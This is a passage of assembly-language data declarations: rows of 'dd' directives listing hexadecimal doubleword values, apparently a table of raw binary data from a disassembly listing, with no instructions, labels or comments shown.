		dd 231C7675h, 4755DEA0h, 0DFC64968h, 7302F223h,	55318E0Eh
		dd 7AC624DEh, 55DE8268h, 0F7817890h, 0D80AF308h, 4A1F4473h
		dd 2510B709h, 0B1AEE927h, 0F2DCD1B3h, 59E82B17h, 405C7CE2h
		dd 2009D069h, 80091569h, 71612BE5h, 0AD3A1649h,	6600DD99h
		dd 0A7781D0Dh, 8E26016Ah, 92AA9399h, 0B8E1D45Ch, 6098F24Bh
		dd 959D1003h, 9F91D011h, 12400513h, 1A56EEBFh, 6A319713h
		dd 0DB7DF63Ch, 70EB7824h, 6A71F012h, 8194DBFAh,	25150DEEh
		dd 5A61D043h, 5C24AAADh, 0AA70ACh, 8BB6677h, 5BE4B9C0h
		dd 0A1EFF70Fh, 0F27F5435h, 62A359ACh, 5C1DC75Ch, 0D3810269h
		dd 40C369A2h, 0E071F6BDh, 44E9E302h, 2100590Ch,	958C3345h
		dd 12E28FFFh, 0EA74FD90h, 9C5DD5CCh, 93642557h,	0D07375BBh
		dd 0FF19862h, 29DA1DA7h, 0A22FAFF2h, 2477381h, 0B5993BAFh
		dd 4E75B97Fh, 3BA4C24h,	304CD9C0h, 0A731D280h, 10DDD4Ch
		dd 2776EC1h, 3CA792FFh,	0D09027Fh, 7EBD88h, 0C2822A10h
		dd 0C713AC91h, 0BC8CC563h, 6918BE52h, 11753757h, 0A1418316h
		dd 0B7E3F02Fh, 4C0E25F6h, 80191DD7h, 801AA84Fh,	6D1006EFh
		dd 0F12F36E2h, 0B9D9407Bh, 0A27DA86Eh, 8BDFFD9h, 2BA96085h
		dd 0FC6A35FFh, 0BBB75AD5h, 231846F0h, 63214F00h, 17D3BC7Fh
		dd 8B0F14F5h, 5E76341Bh, 0CBA7015h, 0A6004A20h,	18521FDCh
		dd 45FE58Fh, 3FC6FB5Dh,	0D374AE5Bh, 802DDAABh, 67BE4E6Ah
		dd 3E8805B8h, 0BEA19FAAh, 274B8CA2h, 397F40EFh,	4116E3D5h
		dd 0C4E9E1FFh, 9E25C0B8h, 8E09FDB5h, 0A58D7977h, 0DED03CEh
		dd 0C7A8243Dh, 117A0E02h, 57DD9D89h, 0B891347h,	943DD704h
		dd 25EDD800h, 1220703Bh, 0F23C0BCEh, 0AAA48807h, 601640CAh
		dd 7B871F99h, 0CA70872Bh, 0AAE45h, 35B5472Ch, 3E269AC9h
		dd 8229B812h, 13DA7BAFh, 3F04D7D0h, 24AF1A85h, 4EA2AB04h
		dd 32B3D24Ah, 0D2807B55h, 9306FB5Dh, 0E68DABF5h, 0BF4322Ah
		dd 2E30A661h, 0CE2B675h, 59B3500h, 1AB004CDh, 60EA7800h
		dd 0B975A2E3h, 92C504BCh, 0A887833Dh, 0E8AC4FA2h, 58645025h
		dd 889AF307h, 0CCC0DEB0h, 716F7DD7h, 97FB3BECh,	5FC4AF05h
		dd 1EF7ABE2h, 607C506Ah, 0AB28A8CDh, 6AF1C016h,	9FC9ACDBh
		dd 2D0088E4h, 0AE84C9A7h, 51ACDBh, 0A0298CDh, 0D2AD27E8h
		dd 0FF247C5Bh, 1763B3BAh, 0A10446B4h, 0E81221E5h, 1B6110B7h
		dd 3FE66802h, 57E7C1h, 5DC419FAh, 28E4B518h, 10D60800h
		dd 8F3A459Eh, 0FC59E6F7h, 0E3B32F94h, 752B9ADFh, 0E4BF126Eh
		dd 4F5CBD3Fh, 5645EAE2h, 0B6123A23h, 0CFE35Fh, 0F322CEBBh
		dd 4CAFE942h, 0FA89AA01h, 0EFDF0C09h, 34E60D5h,	0B92DE559h
		dd 0A66C594Ch, 0F6C60254h, 53F56A52h, 147B49B9h, 2FBF3F50h
		dd 88E28791h, 0ED5F9E8Bh, 0E79C6AFAh, 0B9F7E07Dh, 9AEE134Eh
		dd 0BD09381Eh, 0DF76EAE5h, 0B9DED384h, 0D5B6D3FDh, 687FAFA0h
		dd 0C69E7302h, 21BF1A4h, 0F60B2EE9h, 446803Ah, 0AD1222BFh
		dd 52963A02h, 0F85BFD8Ah, 219727FEh, 0F9780AF3h, 9E9E491h
		dd 0A3BEF2FBh, 2BDE0502h, 564C8BFFh, 1446DEE1h,	0A6689F03h
		dd 0BBB85D8Ah, 0D4252513h, 5900E053h, 12427C89h, 0BA059529h
		dd 1923117Ah, 4F1A3100h, 55B76BEh, 89D9BF0Fh, 5096B4B5h
		dd 0B78BD39Eh, 88CDF5DFh, 1E46C49h, 5AFEB2B3h, 0C0F5209Dh
		dd 89086E21h, 16162595h, 0AB0E8461h, 700F823Dh,	393525C3h
		dd 20F4B8A1h, 44A957Dh,	3969A8CFh, 18CBBA8Fh, 0B510E677h
		dd 7CC06F4Dh, 9153A0Bh,	1097B82Ch, 5D7B671h, 0BE60DD8Ah
		dd 18C96C04h, 2A7399EBh, 0EE803BBDh, 8842B903h,	0B261C80Ah
		dd 0BF0BE338h, 222996CEh, 0EDB5D185h, 0FF2EC029h, 0BC0AC56Eh
		dd 0E3803D51h, 8A03A158h, 0E7162185h, 12414CF9h, 9BAB1199h
		dd 0D47596FFh, 2A16B1BAh, 258D8098h, 38D70849h,	1D96F890h
		dd 0EB612BBh, 6DC15061h, 0F2190FB1h, 2DCD476h, 4C3F6295h
		dd 56D6F560h, 0E25A7F49h, 794E0173h, 0EA595A0Bh, 0C2514F9Dh
		dd 796623D8h, 0FD2D5DB0h, 499D52Fh, 0C2137C80h,	0B867A4EBh
		dd 0E9698591h, 4119D2Bh, 0EB6E859Dh, 164FE48Ah,	9ADA74Dh
		dd 540C800Fh, 0E98D5802h, 0DEFF8FD6h, 5C288157h, 122B1ECFh
		dd 0E0AFA6DDh, 27DDB05Dh, 1C57F98Ah, 2638907Ch,	4AAB1099h
		dd 41361B5h, 356670AEh,	19828B04h, 11AA44ADh, 0AA93E58Bh
		dd 0CE25200Bh, 0C8799596h, 93BE6025h, 2E22125Bh, 9449BFFAh
		dd 0F65E5E50h, 0A3599909h, 3570598Ch, 4ABFFD8Ah, 0FA84FA2h
		dd 3FBC8B00h, 55E30926h, 0B74D5AC4h, 8B9A4BA6h,	0A3A2F980h
		dd 0B3EAA14Fh, 91CA334Ah, 15F96021h, 18503718h,	2D41A9EAh
		dd 4069A830h, 0B3129608h, 0C9BF501Dh, 0F21BE52Bh, 0E5E0BFEDh
		dd 2DA84972h, 93D8DF84h, 21159694h, 8C1CE8C1h, 12EB5B0Eh
		dd 0A8621E4h, 0ED3083B4h
		dd 0ABF55A8Fh, 0D85A3B6Ah, 861C90E2h, 0ADFF962Eh, 0E91976F5h
		dd 0DF97ABF5h, 764999CDh, 7057E9DBh, 9F35B0A4h,	5C2FE854h
		dd 0B676F295h, 0B37101D4h, 0BA2114CEh, 7D633B11h, 7408B8D7h
		dd 0CA5C9765h, 0C0ED9ED4h, 0C51A07FAh, 55010B97h, 5B4B504Fh
		dd 912D04ADh, 4D1F83C5h, 24E9A109h, 0AF0E5CF3h,	6DA04FDAh
		dd 0E2830B19h, 2D9D56C1h, 0F00E8800h, 59DDEA81h, 1414BEA6h
		dd 30F111BBh, 8530F37Fh, 0E54F3C59h, 5C4D50A5h,	58CB90AFh
		dd 1AC2662Bh, 2D9894F0h, 5A4D3817h, 44122B0Bh, 3C500379h
		dd 3A81D003h, 195E45B3h, 2DB64EFEh, 0E9B9C017h,	0E3CBFFD9h
		dd 654B05C8h, 4003A643h, 64F313Ch, 0BC1411C2h, 12C4FAF5h
		dd 50615A5h, 1CC35BF8h,	1BD1030Ch, 4D23E920h, 122A08DBh
		dd 644BA241h, 137026E2h, 0C804C483h, 8B4851AAh,	81100535h
		dd 1418B0A9h, 2D3359B5h, 1F84C3C0h, 2524322Fh, 6DAF15C6h
		dd 0D2684701h, 20D49AA7h, 294B2DB1h, 7FE81C44h,	1AD0121Fh
		dd 8203081Ah, 0EB2716A9h, 7A4890D3h, 9BF40091h,	0D1A7853Ah
		dd 6D079920h, 8610AE6Bh, 38FCC530h, 0B2649F60h,	470923F8h
		dd 800512F2h, 5897C71Bh, 90D902B8h, 596172A4h, 0C0E099FEh
		dd 4B5BC181h, 2B42C85Ch, 0E480D20Eh, 111CE42Ch,	91C903EBh
		dd 0B0B9D84Dh, 0F0F3E133h, 1D5B6E5Dh, 0DD008FA2h, 0FACA86A4h
		dd 0CF4A8E44h, 0F245C5AEh, 1143BA3h, 2E1B6608h,	162C3F51h
		dd 45A5F2Eh, 0C02F5B97h, 0ADC2611Eh, 7D536639h,	4F8BD603h
		dd 0C911048Fh, 6A205EF5h, 0FE66B502h, 82F04A71h, 66110461h
		dd 0A88584B8h, 0AFA480FAh, 9325D148h, 0CE8CFA53h, 3EF806BFh
		dd 1520E95Eh, 0FA82B200h, 161755CCh, 0ED2E00BFh, 5EB3012Bh
		dd 0A74C876Fh, 0E9350974h, 5969206Ah, 0F05D5C76h, 0FE7044h
		dd 0F541698Dh, 1F619796h, 1068B932h, 4E0495B8h,	10820706h
		dd 7B6D1500h, 81BA01Eh,	0B62D5891h, 11742A07h, 93FFD0E2h
		dd 0A00F368h, 4A403286h, 96BB12h, 2B48BCCEh, 0A1CB4597h
		dd 29AE2507h, 70602E04h, 1CF7D2ECh, 4D3B64h, 5D10E0EFh
		dd 711CA27Ch, 2680D801h, 9E556386h, 0B4C7000Ah,	292AABFBh
		dd 0CB13F08Ah, 43006989h, 0C50786EDh, 0EE20001Fh, 0F5673D4Fh
		dd 0F000B6DBh, 42466698h, 0A4CDF7h, 4323961Eh, 284DC391h
		dd 0A8159C00h, 4B4FB87h, 9E8400A5h, 27856336h, 0F62EB7C6h
		dd 1301F80Bh, 463815CEh, 51822ECh, 0FD2690DEh, 14D500FAh
		dd 87861BF9h, 0A7157F16h, 2A01B10h, 13E56B59h, 755C60DCh
		dd 0E2A9003Eh, 0CC3174DEh, 93046789h, 0D1FF5A88h, 0CF97C0C0h
		dd 509E002Ch, 0AFFEEE9Ah, 0CC742D44h, 9A18A03h,	90970E4Fh
		dd 92F844Bh, 0BFC9438Dh, 23790200h, 0F31CBCC5h,	0D3431EC3h
		dd 926FC15Bh, 28E8A086h, 0E06D3952h, 505F005Eh,	31C4D6DAh
		dd 22073878h, 29AB1ED3h, 0E1C593h, 549AB370h, 2299C9E9h
		dd 0F38BF400h, 0CA92959Ch, 169E0098h, 9A0763E6h, 0EF79C6D0h
		dd 4147680Fh, 0AC42C00Bh, 0A1B3F8h, 75189B0Eh, 0C3B08F80h
		dd 0DD8BBF04h, 638315E0h, 0BCFFE83Fh, 9F550F7Eh, 0C0FDA017h
		dd 31D150CCh, 394987ADh, 5CFC0070h, 0FD6DA678h,	0CE0600D6h
		dd 5D047BF0h, 2A0049AEh, 56E7D99Eh, 18F18286h, 0C9A7C62Bh
		dd 58009CB1h, 0D2204ACFh, 7E6912h, 4D715652h, 0B40D4FA5h
		dd 61192700h, 0FF4484CAh, 28E4002Bh, 87418B9Dh,	0A100B03Eh
		dd 32B68C8Fh, 0CCBF8Eh,	776ACFB3h, 0D9E2EE43h, 0B98AB00Fh
		dd 6242E0C4h, 24A54931h, 94A4801Bh, 0AC08809h, 0EEAF1477h
		dd 1648E000h, 75C3E981h, 0EFA53F59h, 66DCF5FCh,	3ADB054Fh
		dd 63E65CF4h, 0D8E051DCh, 1F0F07C7h, 60FD987Dh,	6AA4C520h
		dd 40FF48FBh, 0B8F81408h, 9A2F4903h, 16AEB033h,	8C90096h
		dd 0ED28F2B7h, 0A9001852h, 0A2DD0A75h, 0F4CBB698h, 94CC5034h
		dd 310E0037h, 765B9D95h, 3C74F004h, 0AF576500h,	17A96C41h
		dd 0C77F96h, 95E421C3h,	24A29023h, 3471B900h, 65E6CDB2h
		dd 18F4E99Ah, 0AF1D0FF1h, 4620C5BFh, 2D633D05h,	4F800300h
		dd 0E5115779h, 0EEB600DCh, 0C366E968h, 9103FBDDh, 135D8CF5h
		dd 99BC9B92h, 48C6671Dh, 599C2E8h, 9CD425ADh, 33718309h
		dd 0E90EF0CFh, 0CBE6F7A4h, 4070B703h, 0A58641EFh, 0A0A8C80Fh
		dd 793AEC01h, 78881D09h, 0FFB2C049h, 654243A3h,	36B15E03h
		dd 72A70Fh, 0C587D70h, 34EBD4E2h, 94BAEA00h, 2846BF14h
		dd 0AE1700A2h, 2FC00683h, 7300975Ah, 0F25465CFh, 53DDD7h
		dd 0AC67E31h, 0C026F8D9h, 0AC125001h, 3C3E151Fh, 163D834h
		dd 0ED0E3824h, 0F39F49FEh, 4D6EE790h, 0B70914F2h, 80020B7Fh
		dd 0A2165B24h, 0DEFD00CBh, 0D05D6982h, 0B60FCEE8h, 9C28F66Dh
		dd 44E5B0C0h, 3DC81B8h,	8A57DD29h, 34E093AEh, 69166F8Fh
		dd 0A400AC5Ah, 0D4D7E42Eh, 589A8Ah, 1139243Ah, 0DCA201D0h
		dd 58874F39h, 3EE5016Ah, 8A15CA46h, 4E3320h, 8152C120h
		dd 0D2D02CEEh, 0FE000BEAh, 728C4CC7h, 0AE45841h, 3D671AECh
		dd 0C6FD43E8h, 2DD89FA8h, 1B00CF90h, 0AC19633Ah, 29D1739h
		dd 4DD9F0B7h, 4C417407h, 0A7E5CC95h, 0B1436D1Eh, 2111B440h
		dd 174F847Eh, 2058B2h, 7DDB827Fh, 370CA393h, 0B80D52DAh
		dd 0FB650019h, 5067611Ah, 8100A105h, 2B8B2230h,	18EC966h
		dd 4920B5E2h, 0E0D81A63h, 990208A5h, 0E0F8225Bh, 0E8BC600Dh
		dd 246A1D7Eh, 0ADE7C0C7h, 211E6E05h, 0BB228F00h, 7F22FE0h
		dd 9F3B0078h, 0A06334EAh, 9100921Ah, 2011A3CCh,	0E4488698h
		dd 9BAE003Bh, 3E4A9EC9h, 0AC005373h, 0A8F7FF0Dh, 78BA02F9h
		dd 2992006Bh, 0CF3478B7h, 2FEAF022h, 64AD7A0Fh,	0C30B25D2h
		dd 0C0001E85h, 71E5550Fh, 331800E6h, 0B5342065h, 3701661Dh
		dd 0AED5A749h, 0E864F158h, 42A500FAh, 5D517B35h, 11908E5Bh
		dd 0C9717901h, 8614D817h, 0B03ADCh, 0F97D726h, 0EFFA39C4h
		dd 59986300h, 0B5FCEA4Fh, 578A00F5h, 0BA2BD315h, 213C4673h
		dd 764C8A2h, 16D541B8h,	0C732D760h, 1C809A3Dh, 83EFFFBAh
		dd 0FE9D196Dh, 0BA0083Ah, 0A02E781Ch, 1505B830h, 5C9AF9h
		dd 0A565877Eh, 7164D7A0h, 2067CD0Fh, 2B8660CBh,	3986670h
		dd 75F9EF7Ah, 0EFB7814Eh, 0B0FF3CA7h, 0F5A013EBh, 0E49A0D0Bh
		dd 200FA7h, 0F9C0658Fh,	718460D4h, 0F001C10Bh, 556BC083h
		dd 74A6005Dh, 0D511B281h, 0EEE6B838h, 20318A0h,	8571F902h
		dd 6E515Dh, 0BBA76C67h,	49EFB733h, 7EF80735h, 0FA564DFh
		dd 0F6425C00h, 66000859h, 31E0F061h, 4A01C5h, 0AE02D94Ch
		dd 80D069FCh, 0B8BC3A00h, 63468EA5h, 22F901F2h,	0C37E47E9h
		dd 0B9ABC43Ch, 49650E17h, 5DF59F00h, 1C1089FCh,	40611C42h
		dd 5CD77677h, 0C300B146h, 17C82F4h, 1C5037Bh, 496AF628h
		dd 30AF16EFh, 700325Fh,	20802C45h, 5384A6Fh, 0FFEA4B4h
		dd 76D2071Dh, 50DE81B3h, 694AEC21h, 0B4DDA618h,	7D8E9h
		dd 0ED6C56FBh, 4533F95Dh, 21E008CCh, 0FB101DB1h, 586CC1A3h
		dd 507CCAD9h, 0B2025FA4h, 0FCBCC800h, 0A487C40Eh, 332001Ch
		dd 81191579h, 28905C3Dh, 0A1F5931Ch, 61402464h,	0B008F656h
		dd 858F0131h, 84D539C0h, 76218367h, 0B8A8F66Eh,	31B151DDh
		dd 0FD5862CFh, 0C8810617h, 50C0A359h, 0EBB90EF6h, 442C50A0h
		dd 0F6E48065h, 18A6B3Bh, 3D89119Eh, 904170C4h, 0B900817Ah
		dd 18E808B2h, 9E6091F1h, 7F65380h, 0B8D189B9h, 6B778030h
		dd 6E0B3F6h, 21B562AFh
		dd 182C6491h, 2C83102Ah, 0E03C9E51h, 98051325h,	0BA4E3A2Dh
		dd 29B70E80h, 3EE13A03h, 4962AC14h, 0C0A788D8h,	6C53FB0Ah
		dd 88DF18EDh, 0FB0713AEh, 927259D8h, 62D2B982h,	0B29C00D3h
		dd 7171CCB5h, 31F00ABh,	94A3D108h, 0B900111Ch, 0B747BCF6h
		dd 31B3E4Bh, 0BE58CF95h, 181FF009h, 0C10248FAh,	39DBAFh
		dd 3083C42Eh, 4A00497Ch, 914867E9h, 3FAA6CAh, 4EF46F7h
		dd 0C58F71FCh, 43D8C01Eh, 9200ABC7h, 3C0F1528h,	7224ACh
		dd 0DD0CC371h, 1180F219h, 0FEB91C18h, 781E9A38h, 36E1300Fh
		dd 65DEBD28h, 0B32E7C00h, 637F794Dh, 0B4B05Eh, 0A2AD86F7h
		dd 83103B2h, 1FE057Ah, 8972FF00h, 99F7303Eh, 2433009Eh
		dd 844D9B4Eh, 0FB00EF3Dh, 13BE71A1h, 1E7057C4h,	0C0666273h
		dd 56C2E314h, 0DA76C0E5h, 9D92050Eh, 405B60F2h,	7AC174h
		dd 0CEF6F062h, 0DC72FB64h, 0E48D5Ch, 42C09ED0h,	7526CCE5h
		dd 0FB63067Fh, 2878DE89h, 0C0406200h, 49BE2CF2h, 5570CF70h
		dd 0FC0DD08Fh, 1C1BE020h, 0B8E8A53Dh, 7A630C26h, 0C0230836h
		dd 0A5443921h, 77049CD2h, 5ECC3327h, 50AE1181h,	18AB63F4h
		dd 71593C40h, 0BC00E948h, 0F6B820A3h, 15A9627h,	579C6B12h
		dd 0D8AFC45Ch, 79075940h, 0ECCD1A65h, 0B66805E0h, 0E37B74h
		dd 5371DB5Eh, 6A562F49h, 7C6E11Eh, 1AF88939h, 35C980E3h
		dd 77C4219h, 0FB3CF6B2h, 81673641h, 0CD608617h,	567F1C07h
		dd 3037C963h, 23213108h, 3400CD69h, 0B95B8B2h, 0E609F05Bh
		dd 57C28066h, 2F97D6Fh,	845DDD0Fh, 1960CB98h, 0FEF6EBA5h
		dd 985FF79h, 0E2804138h, 5B542B60h, 0C286C428h,	89148DFCh
		dd 9DEC4A9Dh, 76796841h, 0E0A85EA3h, 49503D04h,	2BE25306h
		dd 120A506Fh, 8C5DDA0Bh, 0F588DF00h, 60298767h,	42E6480Eh
		dd 0E51453A7h, 0F8F06F39h, 0DE008C22h, 169B07D4h, 30A73D09h
		dd 0DF60F345h, 404B79Eh, 2605F8C7h, 15C1CF48h, 1EEDEFA5h
		dd 3C882618h, 0F0A5011Dh, 618A059Bh, 7F588224h,	20287C6h
		dd 0E4849A8Dh, 0CD656040h, 8CDD79CCh, 242D44h, 0DA36CD6Eh
		dd 0F659A51Fh, 96D50900h, 3A9C74E2h, 5529C037h,	4BF5DC97h
		dd 31140F00h, 0F98E3E82h, 439A073Fh, 0E0EB695Eh, 19E9CB59h
		dd 288E53Fh, 0D3F06428h, 5204488Dh, 60A303CAh, 0F781EF07h
		dd 0D1831E99h, 34218084h, 6E61A3D2h, 0A65C0A24h, 3E8601Fh
		dd 1115B205h, 42C9F000h, 75241802h, 3AE13689h, 1D46F8A1h
		dd 0C7CD6402h, 60475FDDh, 0CD6D2700h, 110499h, 6EE5DB70h
		dd 0DC183B0Bh, 40C27101h, 0ECE8A77Ah, 41AADD0h,	0C3109A32h
		dd 86D221CEh, 0B022B980h, 506E8A79h, 0A27AA9F8h, 0A0A10100h
		dd 3951EDCCh, 0FFF000ECh, 0E3D44579h, 664060AAh, 4657031Bh
		dd 0D58A3A14h, 0B71F5196h, 80BF54B4h, 18875D22h, 0E37657C3h
		dd 0C43F2181h, 0F83D6045h, 8CA01EC9h, 3609BEDDh, 1F8C1D1h
		dd 9362C474h, 187CEF0h,	4C48D50Dh, 2079FDF3h, 970FF780h
		dd 64A7BDh, 0E79AC2F8h,	1D7600B8h, 0B20B0A12h, 40C16922h
		dd 0CC706EDDh, 99655880h, 6F73D2E7h, 0B275021Fh, 5AC293FEh
		dd 10686014h, 1AC3BF12h, 36DAEEA5h, 3B101F31h, 5100A542h
		dd 0F9FA982Dh, 6C970DEh, 2603F246h, 0D700A860h,	0D9CD6F8Dh
		dd 152ADCh, 0B9F0633Fh,	836EE148h, 507C0A48h, 3B8CF634h
		dd 708A3CCh, 5E62831Fh,	14320064h, 970074A4h, 0DBE8BA3Ah
		dd 83322C7h, 1C20E1B1h,	11593E09h, 0E9193F2Ch, 2FDDC4CDh
		dd 92E448Ch, 0A2006B7Fh, 0BCEF915Ch, 13A4C057h,	5AB6E59Bh
		dd 4929F4h, 18985814h, 0A3ECA53Fh, 251146h, 12A5403Dh
		dd 2266EA9h, 0C45D0C4Ah, 6476DBh, 0A7AB891Eh, 1B179C7h
		dd 0EC23C88Dh, 8A3030A2h, 89EC0CB5h, 0F7195DE4h, 35202CB0h
		dd 87C80C65h, 0F279FFA9h, 56206F01h, 92B56372h,	3B740824h
		dd 9A8037B2h, 9C53912Ch, 1C071DEDh, 6A440994h, 0F9D88CB0h
		dd 701B00D5h, 57A3AECh,	0F63CA524h, 0CC1E0342h,	0D82DE99Eh
		dd 4F7894h, 1FC1C33h, 0B9EB4CA6h, 0D0002CECh, 26A81E91h
		dd 0B0D3ACh, 0DF58D7DCh, 0F95C04CEh, 403ADA16h,	0A000BAF8h
		dd 1AB0E088h, 0FFA00EEAh, 6B00CCBCh, 0CBA32C6h,	79F8D3Eh
		dd 0A11D3D02h, 0D6F06030h, 4B0E69F3h, 2051206Bh, 673D17C0h
		dd 2D1900A5h, 40E1FCADh, 0CA78FBDDh, 0CDA77401h, 0C29752D3h
		dd 1D90BC20h, 81344925h, 0E022DE48h, 82189EE5h,	215D05C3h
		dd 83C7E1C4h, 78AB18E0h, 1A92241Ch, 0FB28304Bh,	7E3094BBh
		dd 780C60FCh, 0B43A3C46h, 52ACFA00h, 0D4F4EE6Ah, 0A4CA8B00h
		dd 16AAE29Eh, 0CD8C03F0h, 0C8A5DD2Dh, 0EF7A2811h, 65944000h
		dd 4D16A9B9h, 0AC39F50Ch, 0D2A7880h, 1847021Dh,	0A51C0CD1h
		dd 6D193F63h, 0A9B0034Dh, 3DC41B40h, 0B489821h,	2B8C02DEh
		dd 863480C0h, 5C2A2129h, 8A009D22h, 8D47093Eh, 61263F7h
		dd 1D42C570h, 0FB002124h, 0B55D560Ah, 542ECAh, 0DCDECBEBh
		dd 5AAA85B0h, 47A60418h, 6C742B1h, 0F1ADB386h, 4D01C6ABh
		dd 48CF3E8Ch, 51A8C459h, 631C0AEh, 0DB47C2B9h, 4404D70Fh
		dd 0CBF48001h, 643DA3Ah, 0E99556F2h, 4244788Ah,	3B8D1F68h
		dd 0E8F4423Fh, 0A083F919h, 0E905691Ah, 3BC84182h, 0A2959800h
		dd 75E8B1h, 88D45B0h, 0BDC3AEDAh, 837DCF00h, 4A055011h
		dd 78DC61FFh, 526422ACh, 4A20E524h, 1FA57DCEh, 451214h
		dd 0A89367ACh, 0FC096F16h, 20D905F7h, 87B97D4Ch, 9110013Ah
		dd 0B85811E9h, 2484D1E6h, 86F89A2Ch, 8915CC39h,	17BA031h
		dd 0C80AA808h, 0CDA5E450h, 50B57062h, 0DB98CBh,	8740D2EFh
		dd 7ED931EEh, 0CA080666h, 0C0DD0050h, 2232D2F7h, 0D3E47C46h
		dd 7888F0A3h, 0BD0A4D05h, 0B83A4AF9h, 0BC20A20Ah, 488FC680h
		dd 58C2D789h, 0E80429DAh, 0C07FC57Ch, 1DE27125h, 0D6528207h
		dd 9451964Fh, 58B3DF12h, 48C02D41h, 60C134ADh, 0CE36C4CBh
		dd 7F332081h, 20389B98h, 7740A078h, 5120E632h, 5C4270B5h
		dd 8A682064h, 8300E40Ah, 54B072B4h, 0F45AFE41h,	0EB9900A9h
		dd 0DD4C8451h, 3600508Dh, 80400BD2h, 3CDB1E83h,	6480F87Ah
		dd 3BC2FFC5h, 3D3B107Ch, 8AB880CEh, 22BFF09Ah, 15BE0725h
		dd 0A06BE2CAh, 0AA09E739h, 0A250C100h, 78F7F5A9h, 0B2990031h
		dd 289B119Fh, 3D00D1A7h, 211EB8ABh, 8EA3F0h, 0CC0DD318h
		dd 0FE488C89h, 3CB5A22Eh, 0B8731900h, 0E0A492h,	0FA26ABD8h
		dd 0D4522D83h, 2AA90D00h, 5C4E4047h, 20B760B1h,	0ADC26C73h
		dd 0DC203F53h, 0F3875091h, 0CCD0331Dh, 0EB0030A6h, 9441AFB1h
		dd 33BC8EB5h, 0C608DD4Ah, 0AB0C2100h, 17A5B4AFh, 49AEC03Ah
		dd 0A0451E77h, 0C1EB0818h, 36905E0h, 9278F812h,	0A100986Ch
		dd 0A1837451h, 7733E0DEh, 673C741Dh, 8EF5581Ah,	0BD8044F4h
		dd 959415AFh, 0BE229143h, 0AFB71017h, 289A7901h, 0AC53BB0Bh
		dd 0E072C318h, 71511DCBh, 0DDBE28A2h, 0F138C0DEh, 98AA9466h
		dd 725BD000h, 5117D12Dh, 38760037h, 0DE4E73ACh,	0D006990Ch
		dd 794972BFh, 0FDCB1DA1h, 0A104CF47h, 98CFDC61h, 0F4089831h
		dd 3FDA71h, 0F7FAAF79h,	0C31E9EE0h, 274B0519h, 93C0A241h
		dd 3BA8C3C6h, 0B58AEE91h, 0C06E7306h, 6C7D0FD9h, 0E901AE76h
		dd 7EEC7F28h, 4B206160h, 907500B1h, 625C5835h, 0B70D4DE2h
		dd 0D09EB83Eh, 31DADC8h, 5E6992Fh, 9964AC4Fh, 4A6348C8h
		dd 31A103B8h, 42DD0087h, 507B4979h, 1A293705h, 0AC0EBA75h
		dd 5D02900Ah, 6F4601B8h
		dd 6093B4A7h, 6CFDBF8Eh, 0F61CB507h, 8146B4FCh,	4E310021h
		dd 0D96D838Eh, 9D247C92h, 378308DDh, 105574E9h,	887590B0h
		dd 9BECC4Eh, 5861A129h,	0E300EF11h, 39B37940h, 0A500D25Ch
		dd 8C3804BDh, 360F252h,	3B7345CBh, 50002153h, 7575031h
		dd 3B79932h, 0F5C41D35h, 18ABCF60h, 59D48830h, 1F1AB298h
		dd 0C971E443h, 541117F2h, 8BE1841h, 8D9446AFh, 1141C5C4h
		dd 30C6AFB4h, 0A04DE2Ah, 9DF81091h, 0BB048C87h,	0CAB82900h
		dd 0B90A3118h, 0E899303Eh, 0F5F06C00h, 7CAB3A42h, 77E83571h
		dd 372C0118h, 0F8E49F9Bh, 0B50AA4D1h, 0A0245005h, 4C634A64h
		dd 41A105B8h, 0D7E9448Ch, 0EF794401h, 0E81EAD97h, 8409F844h
		dd 91201FBCh, 754080F5h, 24F719Ah, 195721C8h, 2840AB3Eh
		dd 23015124h, 3C72900Ah, 0AC481868h, 0AF718C46h, 0E5943F13h
		dd 0E3204439h, 0D9C403AFh, 0A1E97CEDh, 0D67E9DA0h, 85055102h
		dd 4C50CACCh, 23894330h, 0C44D1D47h, 6239A102h,	45D820F1h
		dd 50B71479h, 2C4A00D0h, 0A1983B3Ah, 7306BA6Dh,	0D142F1EEh
		dd 0F6AB1298h, 0B32822C3h, 9149E506h, 18EFD128h, 807C030Ch
		dd 5CE11FD8h, 4446EEFAh, 0D8024346h, 0DD9440AFh, 10BF98B1h
		dd 9AFAE0Bh, 6EA618C0h,	0C074CC25h, 0B7725F3Eh,	579BCA1Fh
		dd 1845FB09h, 88E40ECh,	0B4FCFDD9h, 33407F64h, 0F8688E48h
		dd 72EA3B00h, 43960DCEh, 18C80CE3h, 0FE29ABA1h,	241E8B16h
		dd 614F7400h, 92373C73h, 6BB403C8h, 26B113B0h, 0F9222803h
		dd 0A24C0DD2h, 0CDA084DAh, 0B5DB9D40h, 0F1305C92h, 60F33016h
		dd 728A06D0h, 5020EC3Bh, 31C0EBECh, 2426BD48h, 9D432E3Fh
		dd 6E5000AEh, 5A6D62BEh, 46FEE3Eh, 40272938h, 40B9A083h
		dd 220E039h, 3B74249Ah,	1C681E03h, 100755Fh, 5070B94Ch
		dd 0C039A51Ah, 610553E1h, 174CE128h, 0F16D06C0h, 504004A8h
		dd 88EC4CE3h, 0C1A0EAB9h, 0D7F2E50h, 6881B403h,	0CCDD3B23h
		dd 0A0522493h, 0B2B9DAA8h, 2D80010h, 576F4D5Bh,	37326EFDh
		dd 480B0855h, 13FBF700h, 4C47F5Ah, 0CD8242Ch, 973A12Bh
		dd 0A2BC500Fh, 3012208Ah, 6EC5F319h, 64757928h,	3FE0AB0Ch
		dd 3C1185h, 8EC6C25h, 28430220h, 80006277h, 660B96C7h
		dd 264117E5h, 120942C1h, 0B56C4024h, 0B32DBF1Eh, 0DB054C05h
		dd 4403F5EDh, 98B90942h, 562F18h, 0C42C0D46h, 0BBFBC2F7h
		dd 0EE505561h, 3180BEEFh, 40788C37h, 6C03F391h,	45069328h
		dd 9496E8ABh, 0D09B004Fh, 2F4B8F55h, 3B126E97h,	2007CC6Ch
		dd 0CF202DB5h, 0E4ABC8CDh, 0EA9900D3h, 0DB9452BCh, 24305E73h
		dd 0F86C4056h, 582D608Ah, 0DC99DA11h, 7D9CBB0Ah, 2EDEC44Ah
		dd 1FCC651h, 226A10BAh,	40F0EC0Ah, 17A1AB00h, 0A40C2728h
		dd 74FC51EEh, 40B0E430h, 0B3492288h, 0F3EE8548h, 0A2384001h
		dd 8143F92Ah, 0F6E826AFh, 0C5465E04h, 264CA301h, 0D627AC7Ah
		dd 7E7B9460h, 24A2A0E2h, 18423041h, 43AF08BBh, 0C2C4C594h
		dd 0AFB50E40h, 7E0722CFh, 0A30B20EFh, 7EB93B03h, 92B174F8h
